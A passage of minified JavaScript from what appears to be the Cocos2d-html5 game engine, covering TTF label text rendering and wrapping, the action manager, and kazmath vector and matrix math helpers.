- this.Mb)},YX:function(){this.NB().font=this.eh},Co:function(a){return this.NB().measureText(a).width},description:function(){return"\x3ccc.LabelTTF | FontName \x3d"+this.Tb+" FontSize \x3d "+this.Mb.toFixed(1)+"\x3e"},nb:null,ff:null,Hc:null,Ta:null,xc:null,Ula:function(a){b.m.prototype.xc.call(this,a);this.ff()},bl:function(){return this.Jb},m1:function(){return this.Bk},f2:function(){return this.Xk},wca:function(){return b.size(this.gc)},XE:function(){return this.Mb},WE:function(){return this.Tb},
- sF:null,Tka:function(a){a&&this.PD(a,!0)},bea:function(){return this.vY(!1)},w0:function(a,c,d,e){d=d||0.5;!1===this.kd&&(this.kd=!0);var f=this.Ad;if(f&&f.x!=a||f.Ie!=c)f.x=a,f.y=c;this.sj!=d&&(this.sj=d);this.ff();this.Ok!=e&&(this.Ok=e);this.lb=!0},jX:function(){return this.Ad.x},cZ:function(a){!1===this.kd&&(this.kd=!0);this.Ad.x!=a&&(this.Ad.x=a,this.lb=!0)},kX:function(){return this.Ad.Ie},dZ:function(a){!1===this.kd&&(this.kd=!0);this.Ad.Ie!=a&&(this.Ad.Ie=a,this.lb=!0)},e$:function(){return b.d(this.Ad.x,
- this.Ad.y)},v$:function(a){!1===this.kd&&(this.kd=!0);if(this.Ad.x!=a.x||this.Ad.y!=a.y)this.Ad.x=a.x,this.Ad.y=a.y,this.lb=!0},lX:function(){return this.sj},eZ:function(a){!1===this.kd&&(this.kd=!0);this.sj!=a&&(this.sj=a,this.ff(),this.lb=!0)},iX:function(){return this.Ok},bZ:function(a){!1===this.kd&&(this.kd=!0);this.Ok!=a&&(this.Ok=a,this.lb=!0)},Maa:function(){this.kd&&(this.kd=!1,this.lb=!0)},x0:function(a,c){!1===this.Dg&&(this.Dg=!0);var d=this.qm;if(d.r!==a.r||d.g!==a.g||d.b!==a.b)d.r=a.r,
- d.g=a.g,d.b=a.b,this.ff();this.uj!==c&&(this.uj=c||0);this.lb=!0},oX:function(){return this.qm},mZ:function(a){!1===this.Dg&&(this.Dg=!0);var c=this.qm;if(c.r!==a.r||c.g!==a.g||c.b!==a.b)c.r=a.r,c.g=a.g,c.b=a.b,this.ff(),this.lb=!0},aX:function(){return this.uj},VY:function(a){!1===this.Dg&&(this.Dg=!0);this.uj!==a&&(this.uj=a||0,this.lb=!0)},Naa:function(){this.Dg&&(this.Dg=!1,this.lb=!0)},By:null,SW:function(){return this.rm},PD:function(a,c){a.Rba?(this.gc.width=a.boundingWidth,this.gc.height=
- a.boundingHeight):(this.gc.width=0,this.gc.height=0);this.Bk=a.textAlign;this.Xk=a.verticalAlign;this.Tb=a.fontName;this.Mb=a.fontSize||12;this.eh=this.Mb+"px '"+this.Tb+"'";this.ei=b.P.Sq(this.Tb,this.Mb);a.fQ&&this.w0(a.shadowOffsetX,a.shadowOffsetY,a.shadowOpacity,a.shadowBlur);a.FG&&this.x0(a.strokeStyle,a.lineWidth);this.By(a.fillStyle);c&&this.Qw()},vY:function(a){var c=new ga;a?(c.fontSize=this.Mb,c.boundingWidth=b.pb()*this.gc.width,c.boundingHeight=b.pb()*this.gc.height):(c.fontSize=this.Mb,
- c.boundingWidth=this.gc.width,c.boundingHeight=this.gc.height);c.fontName=this.Tb;c.textAlign=this.Bk;c.verticalAlign=this.Xk;if(this.Dg){c.FG=!0;var d=this.qm;c.strokeStyle=b.color(d.r,d.g,d.b);c.lineWidth=this.uj}else c.FG=!1;this.kd?(c.fQ=!0,c.shadowBlur=this.Ok,c.shadowOpacity=this.sj,c.shadowOffsetX=(a?b.pb():1)*this.Ad.x,c.shadowOffsetY=(a?b.pb():1)*this.Ad.y):c.kd=!1;a=this.rm;c.fillStyle=b.color(a.r,a.g,a.b);return c},ei:18,ed:function(a){a=String(a);this.uC!=a&&(this.uC=a+"",this.Ow(),this.lb=
- !0)},Ow:function(){this.Jb=this.uC},i5:function(a){a!==this.Bk&&(this.Bk=a,this.lb=!0)},Q5:function(a){a!=this.Xk&&(this.Xk=a,this.lb=!0)},Lja:function(a,c){var d;void 0===c?(d=a.width,c=a.height):d=a;if(d!=this.gc.width||c!=this.gc.height)this.gc.width=d,this.gc.height=c,this.Ow(),this.lb=!0},KB:function(){return this.gc.width},LY:function(a){a!=this.gc.width&&(this.gc.width=a,this.Ow(),this.lb=!0)},QW:function(){return this.gc.height},KY:function(a){a!=this.gc.height&&(this.gc.height=a,this.Ow(),
- this.lb=!0)},Dy:function(a){this.Mb!==a&&(this.Mb=a,this.eh=a+"px '"+this.Tb+"'",this.ei=b.P.Sq(this.Tb,a),this.lb=!0)},Cy:function(a){this.Tb&&this.Tb!=a&&(this.Tb=a,this.eh=this.Mb+"px '"+a+"'",this.ei=b.P.Sq(a,this.Mb),this.lb=!0)},TW:function(){return this.eh},RY:function(a){var c=b.P.FW.exec(a);c&&(this.Mb=parseInt(c[1]),this.Tb=c[2],this.eh=a,this.ei=b.P.Sq(this.Tb,this.Mb),this.lb=!0)},xW:function(a){if(a){var c=this.BD,d=this.CD,e=this.Q.height-d,f=this.Xk,g=this.Bk,h=this.ei,k=this.uj;a.setTransform(1,
- 0,0,1,0+0.5*c,e+0.5*d);a.font!=this.eh&&(a.font=this.eh);a.fillStyle=this.tv;var m=d=0,p=this.Dg;p&&(a.lineWidth=2*k,a.strokeStyle=this.xw);this.kd&&(k=this.Ad,a.shadowColor=this.sw,a.shadowOffsetX=k.x,a.shadowOffsetY=-k.y,a.shadowBlur=this.Ok);a.textBaseline=b.P.DZ[f];a.textAlign=b.P.CZ[g];c=this.Q.width-c;d=g===b.fI?d+c:g===b.Jq?d+c/2:d+0;if(this.zo)for(g=this.ti.length,f===b.VI?m=h+e-h*g:f===b.jV&&(m=h/2+(e-h*g)/2),f=0;f<g;f++)c=this.ti[f],k=-e+h*f+m,p&&a.strokeText(c,d,k),a.fillText(c,d,k);else f!==
- b.VI&&(m=f===b.Qq?m-e:m-0.5*e),p&&a.strokeText(this.Jb,d,m),a.fillText(this.Jb,d,m)}},NB:function(){if(this.Jv)return this.Jv;if(!this.Iv){var a=b.Rb("canvas"),c=new b.da;c.Rc(a);this.texture=c;this.Iv=a}return this.Jv=this.Iv.getContext("2d")},YV:function(a,c,d){var e=a[c],f=this.Co(e);if(f>d&&1<e.length){for(var g=d/f*e.length|0,h=e.substr(g),k=f-this.Co(h),m,p=0,q=0;k>d&&100>q++;)g*=d/k,g|=0,h=e.substr(g),k=f-this.Co(h);for(q=0;k<d&&100>q++;)h&&(p=(m=b.P.TZ.exec(h))?m[0].length:1,m=h),g+=p,h=e.substr(g),
- k=f-this.Co(h);g-=p;d=e.substr(0,g);b.P.V6&&b.P.BZ.test(m||h)&&(f=b.P.PX.exec(d),g-=f?f[0].length:0,m=e.substr(g),d=e.substr(0,g));b.P.AW.test(m)&&(f=b.P.OX.exec(d))&&d!==f[0]&&(g-=f[0].length,m=e.substr(g),d=e.substr(0,g));a[c]=m||h;a.splice(c,0,d)}},Pw:function(){var a=this.gc.width,c,d,e=this.$K;e.length=0;this.zo=!1;this.YX();if(0!==a)for(this.ti=this.Jb.split("\n"),c=0;c<this.ti.length;c++)this.YV(this.ti,c,a);else for(this.ti=this.Jb.split("\n"),c=0,d=this.ti.length;c<d;c++)e.push(this.Co(this.ti[c]));
- 0<this.ti.length&&(this.zo=!0);d=c=0;this.Dg&&(c=d=2*this.uj);if(this.kd){var f=this.Ad;c+=2*Math.abs(f.x);d+=2*Math.abs(f.y)}a=0===a?this.zo?b.size(0|Math.max.apply(Math,e)+c,0|this.ei*this.ti.length+d):b.size(0|this.Co(this.Jb)+c,0|this.ei+d):0===this.gc.height?this.zo?b.size(0|a+c,0|this.ei*this.ti.length+d):b.size(0|a+c,0|this.ei+d):b.size(0|a+c,0|this.gc.height+d);this.Fd(a);this.BD=c;this.CD=d;e=this.Kc;this.Ab.x=0.5*c+(a.width-c)*e.x;this.Ab.y=0.5*d+(a.height-d)*e.y},Sf:function(){this.lb&&
- this.Pw();return b.D.prototype.Sf.call(this)},fh:function(){this.lb&&this.Pw();return b.D.prototype.fh.call(this)},zk:function(){this.lb&&this.Pw();return b.D.prototype.zk.call(this)},Qw:function(){var a=this.NB(),c=this.Iv,d=this.Q;if(0===this.Jb.length)return c.width=1,c.height=d.height||1,this.I&&this.I.sb(),this.qb(b.rect(0,0,1,d.height)),!0;a.font=this.eh;this.Pw();var e=d.width,d=d.height,f=c.width==e&&c.height==d;c.width=e;c.height=d;f&&a.clearRect(0,0,e,d);this.xW(a);this.I&&this.I.sb();this.qb(b.rect(0,
- 0,e,d));return!0},U:function(a){this.Jb&&""!=this.Jb&&(this.lb&&(this.lb=!1,this.Qw()),b.D.prototype.U.call(this,a||b.l))},Z:null,UL:function(a){var c=this.X?this.textureAtlas.texture:this.I;if(c){var d=c.pixelsWidth,e=c.pixelsHeight,f,g=this.Nb;this.Ac?(b.wn?(c=(2*a.x+1)/(2*d),d=c+(2*a.height-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.width-2)/(2*e)):(c=a.x/d,d=(a.x+a.height)/d,f=a.y/e,a=(a.y+a.width)/e),this.Kb&&(e=f,f=a,a=e),this.Lb&&(e=c,c=d,d=e),g.F.n.fa=c,g.F.n.ga=f,g.O.n.fa=c,g.O.n.ga=a,g.N.n.fa=
- d,g.N.n.ga=f,g.L.n.fa=d,g.L.n.ga=a):(b.wn?(c=(2*a.x+1)/(2*d),d=c+(2*a.width-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.height-2)/(2*e)):(c=a.x/d,d=(a.x+a.width)/d,f=a.y/e,a=(a.y+a.height)/e),this.Kb&&(e=c,c=d,d=e),this.Lb&&(e=f,f=a,a=e),g.F.n.fa=c,g.F.n.ga=a,g.O.n.fa=d,g.O.n.ga=a,g.N.n.fa=c,g.N.n.ga=f,g.L.n.fa=d,g.L.n.ga=f);this.Ce=!0}}});
- b.B===b.Aa?(n=b.P.prototype,n.nb=function(a){b.m.prototype.nb.call(this,a);this.ff()},n.ff=function(){this.lb=!0;var a=this.Ba,c=this.fb,d=this.qm,e=this.rm;this.sw="rgba("+(0|0.5*a.r)+","+(0|0.5*a.g)+","+(0|0.5*a.b)+","+this.sj+")";this.tv="rgba("+(0|a.r/255*e.r)+","+(0|a.g/255*e.g)+","+(0|a.b/255*e.b)+", "+c/255+")";this.xw="rgba("+(0|a.r/255*d.r)+","+(0|a.g/255*d.g)+","+(0|a.b/255*d.b)+", "+c/255+")"},n.Hc=function(a){b.m.prototype.Hc.call(this,a);this.ff()},n.Ta=function(a){this.Pd!==a&&(b.D.prototype.Ta.call(this,
- a),this.ff(),this.lb=!0)},n.xc=b.D.prototype.xc,n.sF=function(a,c){this.PD(c,!1);this.string=a;return!0},n.By=function(a){var c=this.rm;if(c.r!=a.r||c.g!=a.g||c.b!=a.b)c.r=a.r,c.g=a.g,c.b=a.b,this.ff(),this.lb=!0},n.Z=b.D.prototype.Z,n.qb=function(a,c,d){this.Ac=c||!1;this.Fd(d||a);this.zG(a);c=this.sm;c.x=a.x;c.y=a.y;c.width=a.width;c.height=a.height;c.ln=!(0===c.width||0===c.height||0>c.x||0>c.y);a=this.Ah;this.Kb&&(a.x=-a.x);this.Lb&&(a.y=-a.y);this.Ib.x=a.x+(this.Q.width-this.ia.width)/2;this.Ib.y=
- a.y+(this.Q.height-this.ia.height)/2;this.X&&(this.dirty=!0)},n=null):(b.assert("function"===typeof b.H.MA,b.f.fd,"LabelTTFWebGL.js"),b.H.MA(),delete b.H.MA);b.assert("function"===typeof b.H.Wz,b.f.fd,"LabelTTFPropertyDefine.js");b.H.Wz();delete b.H.Wz;b.P.CZ=["left","center","right"];b.P.DZ=["top","middle","bottom"];b.P.V6=!0;b.P.TZ=/([a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]+|\S)/;b.P.BZ=/^[!,.:;}\]%\?>\u3001\u2018\u201c\u300b\uff1f\u3002\uff0c\uff01]/;
- b.P.PX=/([a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]+|\S)$/;b.P.OX=/[a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]+$/;b.P.AW=/^[a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]/;b.P.FW=/^(\d+)px\s+['"]?([\w\s\d]+)['"]?$/;b.P.create=function(a,c,d,e,f,g){return new b.P(a,c,d,e,f,g)};b.P.Aaa=b.P.create;
- b.P.xV=b.iV?b.Vi:b.gA;b.P.mk=b.Rb("div");b.P.mk.style.fontFamily="Arial";b.P.mk.style.position="absolute";b.P.mk.style.left="-100px";b.P.mk.style.top="-100px";b.P.mk.style.lineHeight="normal";document.body?document.body.appendChild(b.P.mk):b.Ha(window,"load",function(){this.removeEventListener("load",arguments.callee,!1);document.body.appendChild(b.P.mk)},!1);
- b.P.Sq=function(a,c){var d=b.P.bJ[a+"."+c];if(0<d)return d;var e=b.P.mk;e.innerHTML="ajghl~!";e.style.fontFamily=a;e.style.fontSize=c+"px";d=e.clientHeight;b.P.bJ[a+"."+c]=d;e.innerHTML="";return d};b.P.bJ={};b.VR=b.oa.extend({vc:null,target:null,Cm:0,kf:null,Jm:!1,paused:!1,zx:null,ctor:function(){this.vc=[];this.target=null;this.Cm=0;this.kf=null;this.paused=this.Jm=!1;this.zx=null}});
- b.NG=b.oa.extend({hh:null,Ln:null,Wc:null,ci:!1,t$:function(a,c){for(var d=0;d<a.length;d++)if(c==a[d].target)return a[d];return null},ctor:function(){this.hh={};this.Ln=[];this.Wc=null;this.ci=!1},XZ:function(a,c,d){if(!a)throw"cc.ActionManager.addAction(): action must be non-null";if(!c)throw"cc.ActionManager.addAction(): action must be non-null";var e=this.hh[c.ua];e||(e=new b.VR,e.paused=d,e.target=c,this.hh[c.ua]=e,this.Ln.push(e));this.AV(e);e.vc.push(a);a.A(c)},Mia:function(){for(var a=this.Ln,
- c=0;c<a.length;c++){var d=a[c];d&&this.nP(d.target,!0)}},nP:function(a,c){if(null!=a){var d=this.hh[a.ua];d&&(-1===d.vc.indexOf(d.kf)||d.Jm||(d.Jm=!0),d.vc.length=0,this.Wc!=d||c?this.sB(d):this.ci=!0)}},mP:function(a){if(null!=a){var c=this.hh[a.originalTarget.ua];if(c)for(var d=0;d<c.vc.length;d++){if(c.vc[d]==a){c.vc.splice(d,1);break}}else b.log(b.f.PQ)}},t4:function(a,c){a==b.on&&b.log(b.f.OG);b.assert(c,b.f.OG);var d=this.hh[c.ua];if(d)for(var e=d.vc.length,f=0;f<e;++f){var g=d.vc[f];if(g&&
- g.fF()===a&&g.originalTarget==c){this.yY(f,d);break}}},RE:function(a,c){a==b.on&&b.log(b.f.NQ);var d=this.hh[c.ua];if(d){if(null!=d.vc)for(var e=0;e<d.vc.length;++e){var f=d.vc[e];if(f&&f.fF()===a)return f}b.log(b.f.OQ,a)}return null},J3:function(a){return(a=this.hh[a.ua])?a.vc?a.vc.length:0:0},Ip:function(a){(a=this.hh[a.ua])&&(a.paused=!0)},Qj:function(a){(a=this.hh[a.ua])&&(a.paused=!1)},jia:function(){for(var a=[],c=this.Ln,d=0;d<c.length;d++){var e=c[d];e&&!e.paused&&(e.paused=!0,a.push(e.target))}return a},
- H4:function(a){if(a)for(var c=0;c<a.length;c++)a[c]&&this.Qj(a[c])},uia:function(){b.J.al().At(this)},yY:function(a,c){c.vc[a]!=c.kf||c.Jm||(c.Jm=!0);c.vc.splice(a,1);c.Cm>=a&&c.Cm--;0==c.vc.length&&(this.Wc==c?this.ci=!0:this.sB(c))},sB:function(a){a&&(delete this.hh[a.target.ua],b.Je(this.Ln,a),a.vc=null,a.target=null)},AV:function(a){null==a.vc&&(a.vc=[])},update:function(a){for(var c=this.Ln,d,e=0;e<c.length;e++){d=this.Wc=c[e];if(!d.paused)for(d.Cm=0;d.Cm<d.vc.length;d.Cm++)if(d.kf=d.vc[d.Cm],
- d.kf){d.Jm=!1;d.kf.step(a*(d.kf.$r?d.kf.he:1));if(d.Jm)d.kf=null;else if(d.kf.Lg()){d.kf.stop();var f=d.kf;d.kf=null;this.mP(f)}d.kf=null}this.ci&&0===d.vc.length&&this.sB(d)}}});b.yga=Number;b.ofa=Number;b.pfa=Number;b.An=0;b.Bn=1;b.EF=3.141592;b.j3=0.017453;b.k3=57.295779;b.za=0.015625;b.Fc=function(a){return a*a};b.Rs=function(a){return a*b.j3};b.tga=function(a){return a*b.k3};b.Rx=function(a,c){return a<c?a:c};b.Qx=function(a,c){return a>c?a:c};b.nfa=function(a,c){return a+b.za>c&&a-b.za<c};b.Lh=function(){this.y=this.x=0};b.Cga=function(a,c,d){a.x=c;a.y=d;return a};b.Tx=function(a){return Math.sqrt(b.Fc(a.x)+b.Fc(a.y))};b.Dga=function(a){return b.Fc(a.x)+b.Fc(a.y)};b.q3=function(a,c){var d=1/b.Tx(c),e=new b.Lh;e.x=c.x*d;e.y=c.y*d;a.x=e.x;a.y=e.y};b.zga=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;return a};b.Bga=function(a,c){return a.x*c.x+a.y*c.y};b.Ux=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;return a};
- b.Fga=function(a,c,d){var e=new b.Lh;e.x=c.x*d.c[0]+c.y*d.c[3]+d.c[6];e.y=c.x*d.c[1]+c.y*d.c[4]+d.c[7];a.x=e.x;a.y=e.y;return a};b.Gga=function(){return null};b.Ega=function(a,c,d){a.x=c.x*d;a.y=c.y*d;return a};b.Aga=function(a,c){return a.x<c.x+b.za&&a.x>c.x-b.za&&a.y<c.y+b.za&&a.y>c.y-b.za};b.tb=function(a,c,d){this.x=a||0;this.y=c||0;this.z=d||0};b.Bp=function(a,c,d,e){if(!a)return new b.tb(c,d,e);a.x=c;a.y=d;a.z=e;return a};b.KO=function(a){return Math.sqrt(b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z))};b.LO=function(a){return b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z)};b.pf=function(a,c){var d=1/b.KO(c);a.x=c.x*d;a.y=c.y*d;a.z=c.z*d};b.hl=function(a,c,d){a.x=c.y*d.z-c.z*d.y;a.y=c.z*d.x-c.x*d.z;a.z=c.x*d.y-c.y*d.x};b.GF=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z};
- b.JO=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z};b.IF=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z};b.Lga=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+d.c[14];return a};b.Mga=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10];return a};
- b.MO=function(a,c,d){var e=new b.NO,f=new b.NO;b.r3(f,c.x,c.y,c.z);b.OO(e,f,d);a.x=e.x/e.G;a.y=e.y/e.G;a.z=e.z/e.G};b.HF=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;return a};b.Hga=function(a,c){return a.x<c.x+b.za&&a.x>c.x-b.za&&a.y<c.y+b.za&&a.y>c.y-b.za&&a.z<c.z+b.za&&a.z>c.z-b.za?1:0};b.Iga=function(a,c,d){c=new b.tb(c.x-d.c[12],c.y-d.c[13],c.z-d.c[14]);a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a};
- b.Jga=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a};b.Ss=function(a,c){a!=c&&(a.x=c.x,a.y=c.y,a.z=c.z)};b.Nga=function(a){a.x=0;a.y=0;a.z=0;return a};b.Kga=function(a){if(!a)return null;var c=new Float32Array(3);c[0]=a.x;c[1]=a.y;c[2]=a.z;return c};b.NO=function(){this.G=this.z=this.y=this.x=0};b.r3=function(a,c,d,e){a.x=c;a.y=d;a.z=e;a.G=1};b.Oga=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.G=c.G+d.G;return a};b.Rga=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z+a.G*c.G};b.s3=function(a){return Math.sqrt(b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z)+b.Fc(a.G))};b.Sga=function(a){return b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z)+b.Fc(a.G)};b.Tga=function(a){return a};b.t3=function(a,c){var d=1/b.s3(c);a.x*=d;a.y*=d;a.z*=d;a.G*=d};
- b.Uga=function(a,c,d){b.t3(a,c);a.x*=d;a.y*=d;a.z*=d;a.G*=d;return a};b.Vga=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z;a.G=c.G-d.G;return a};b.OO=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+c.G*d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+c.G*d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+c.G*d.c[14];a.G=c.x*d.c[3]+c.y*d.c[7]+c.z*d.c[11]+c.G*d.c[15]};b.Xga=function(a,c,d,e,f,g){for(var h=0;h<g;)b.OO(a+h*c,d+h*e,f),++h;return a};
- b.Pga=function(a,c){return a.x<c.x+b.za&&a.x>c.x-b.za&&a.y<c.y+b.za&&a.y>c.y-b.za&&a.z<c.z+b.za&&a.z>c.z-b.za&&a.G<c.G+b.za&&a.G>c.G-b.za};b.Qga=function(a,c){if(a==c)return b.log("destVec and srcVec are same object"),a;a.x=c.x;a.y=c.y;a.z=c.z;a.G=c.G;return a};b.Wga=function(a){if(!a)return null;var c=new Float32Array(4);c[0]=a.x;c[1]=a.y;c[2]=a.z;c[3]=a.G;return c};b.uga=function(a){this.start=a||new b.Lh;this.start=a||new b.Lh};b.vga=function(a,c,d,e,f){a.start.x=c;a.start.y=d;a.dir.x=e;a.dir.y=f};
- b.FF=function(a,c,d,e){var f=a.start.x,g=a.start.y,h=a.start.x+a.dir.x;a=a.start.y+a.dir.y;var k=c.x,m=c.y,p=d.x,q=d.y,r=(q-m)*(h-f)-(p-k)*(a-g);if(r>-b.za&&r<b.za)return b.An;m=((p-k)*(g-m)-(q-m)*(f-k))/r;k=f+m*(h-f);m=g+m*(a-g);if(k<b.Rx(c.x,d.x)-b.za||k>b.Qx(c.x,d.x)+b.za||m<b.Rx(c.y,d.y)-b.za||m>b.Qx(c.y,d.y)+b.za||k<b.Rx(f,h)-b.za||k>b.Qx(f,h)+b.za||m<b.Rx(g,a)-b.za||m>b.Qx(g,a)+b.za)return b.An;e.x=k;e.y=m;return b.Bn};
- b.oE=function(a,c,d){var e=new b.Lh;b.Ux(e,c,a);d.x=-e.y;d.y=e.x;b.q3(d,d)};b.xga=function(a,c,d,e,f,g){var h=new b.Lh,k=new b.Lh,m=new b.Lh,p=1E4,q=b.An,r;b.FF(a,c,d,h)&&(r=new b.Lh,q=b.Bn,r=b.Tx(b.Ux(r,h,a.start)),r<p&&(k.x=h.x,k.y=h.y,p=r,b.oE(c,d,m)));b.FF(a,d,e,h)&&(r=new b.Lh,q=b.Bn,r=b.Tx(b.Ux(r,h,a.start)),r<p&&(k.x=h.x,k.y=h.y,p=r,b.oE(d,e,m)));b.FF(a,e,c,h)&&(r=new b.Lh,q=b.Bn,r=b.Tx(b.Ux(r,h,a.start)),r<p&&(k.x=h.x,k.y=h.y,b.oE(e,c,m)));q&&(f.x=k.x,f.y=k.y,g&&(g.x=m.x,g.y=m.y));return q};
- b.wga=function(){b.log("cc.kmRay2IntersectCircle() has not been implemented.")};var Float32Array=Float32Array||Array;b.Px=function(){this.c=new Float32Array([0,0,0,0,0,0,0,0,0])};b.xfa=function(a,c){for(var d=0;9>d;d++)a.c[d]=c;return a};b.c3=function(a,c){a.c[0]=c.c[4]*c.c[8]-c.c[5]*c.c[7];a.c[1]=c.c[2]*c.c[7]-c.c[1]*c.c[8];a.c[2]=c.c[1]*c.c[5]-c.c[2]*c.c[4];a.c[3]=c.c[5]*c.c[6]-c.c[3]*c.c[8];a.c[4]=c.c[0]*c.c[8]-c.c[2]*c.c[6];a.c[5]=c.c[2]*c.c[3]-c.c[0]*c.c[5];a.c[6]=c.c[3]*c.c[7]-c.c[4]*c.c[6];a.c[8]=c.c[0]*c.c[4]-c.c[1]*c.c[3]};
- b.BO=function(a){a.c[1]=a.c[2]=a.c[3]=a.c[5]=a.c[6]=a.c[7]=0;a.c[0]=a.c[4]=a.c[8]=1};b.yfa=function(a,c,d){var e=new b.Px;if(0===c)return null;c=1/c;b.c3(e,d);b.d3(a,e,c);return a};b.Px.UB=new Float32Array([1,0,0,0,1,0,0,0,1]);b.zfa=function(a){for(var c=0;9>c;c++)if(b.Px.UB[c]!==a.c[c])return!1;return!0};b.Kfa=function(a,c){var d,e;for(d=0;3>d;++d)for(e=0;3>e;++e)a.c[3*d+e]=c.c[3*e+d];return a};
- b.wfa=function(a){var c;c=a.c[0]*a.c[4]*a.c[8]+a.c[1]*a.c[5]*a.c[6]+a.c[2]*a.c[3]*a.c[7];return c-=a.c[2]*a.c[4]*a.c[6]+a.c[0]*a.c[5]*a.c[7]+a.c[1]*a.c[3]*a.c[8]};
- b.Afa=function(a,c,d){c=c.c;d=d.c;a.c[0]=c[0]*d[0]+c[3]*d[1]+c[6]*d[2];a.c[1]=c[1]*d[0]+c[4]*d[1]+c[7]*d[2];a.c[2]=c[2]*d[0]+c[5]*d[1]+c[8]*d[2];a.c[3]=c[0]*d[3]+c[3]*d[4]+c[6]*d[5];a.c[4]=c[1]*d[3]+c[4]*d[4]+c[7]*d[5];a.c[5]=c[2]*d[3]+c[5]*d[4]+c[8]*d[5];a.c[6]=c[0]*d[6]+c[3]*d[7]+c[6]*d[8];a.c[7]=c[1]*d[6]+c[4]*d[7]+c[7]*d[8];a.c[8]=c[2]*d[6]+c[5]*d[7]+c[8]*d[8];return a};b.d3=function(a,c,d){for(var e=0;9>e;e++)a.c[e]=c.c[e]*d};
- b.Cfa=function(a,c,d){var e=Math.cos(d);d=Math.sin(d);a.c[0]=e+c.x*c.x*(1-e);a.c[1]=c.z*d+c.y*c.x*(1-e);a.c[2]=-c.y*d+c.z*c.x*(1-e);a.c[3]=-c.z*d+c.x*c.y*(1-e);a.c[4]=e+c.y*c.y*(1-e);a.c[5]=c.x*d+c.z*c.y*(1-e);a.c[6]=c.y*d+c.x*c.z*(1-e);a.c[7]=-c.x*d+c.y*c.z*(1-e);a.c[8]=e+c.z*c.z*(1-e);return a};b.vfa=function(a,c){if(a==c)return b.log("cc.kmMat3Assign(): pOut equals pIn"),a;for(var d=0;9>d;d++)a.c[d]=c.c[d];return a};
- b.ufa=function(a,c){if(a==c)return!0;for(var d=0;9>d;++d)if(!(a.c[d]+b.za>c.c[d]&&a.c[d]-b.za<c.c[d]))return!1;return!0};b.Ffa=function(a,c){a.c[0]=1;a.c[1]=0;a.c[2]=0;a.c[3]=0;a.c[4]=Math.cos(c);a.c[5]=Math.sin(c);a.c[6]=0;a.c[7]=-Math.sin(c);a.c[8]=Math.cos(c);return a};b.Gfa=function(a,c){a.c[0]=Math.cos(c);a.c[1]=0;a.c[2]=-Math.sin(c);a.c[3]=0;a.c[4]=1;a.c[5]=0;a.c[6]=Math.sin(c);a.c[7]=0;a.c[8]=Math.cos(c);return a};
- b.Hfa=function(a,c){a.c[0]=Math.cos(c);a.c[1]=-Math.sin(c);a.c[2]=0;a.c[3]=Math.sin(c);a.c[4]=Math.cos(c);a.c[5]=0;a.c[6]=0;a.c[7]=0;a.c[8]=1;return a};b.Bfa=function(a,c){a.c[0]=Math.cos(c);a.c[1]=Math.sin(c);a.c[2]=0;a.c[3]=-Math.sin(c);a.c[4]=Math.cos(c);a.c[5]=0;a.c[6]=0;a.c[7]=0;a.c[8]=1;return a};b.Ifa=function(a,c,d){b.BO(a);a.c[0]=c;a.c[4]=d;return a};b.Jfa=function(a,c,d){b.BO(a);a.c[6]=c;a.c[7]=d;return a};
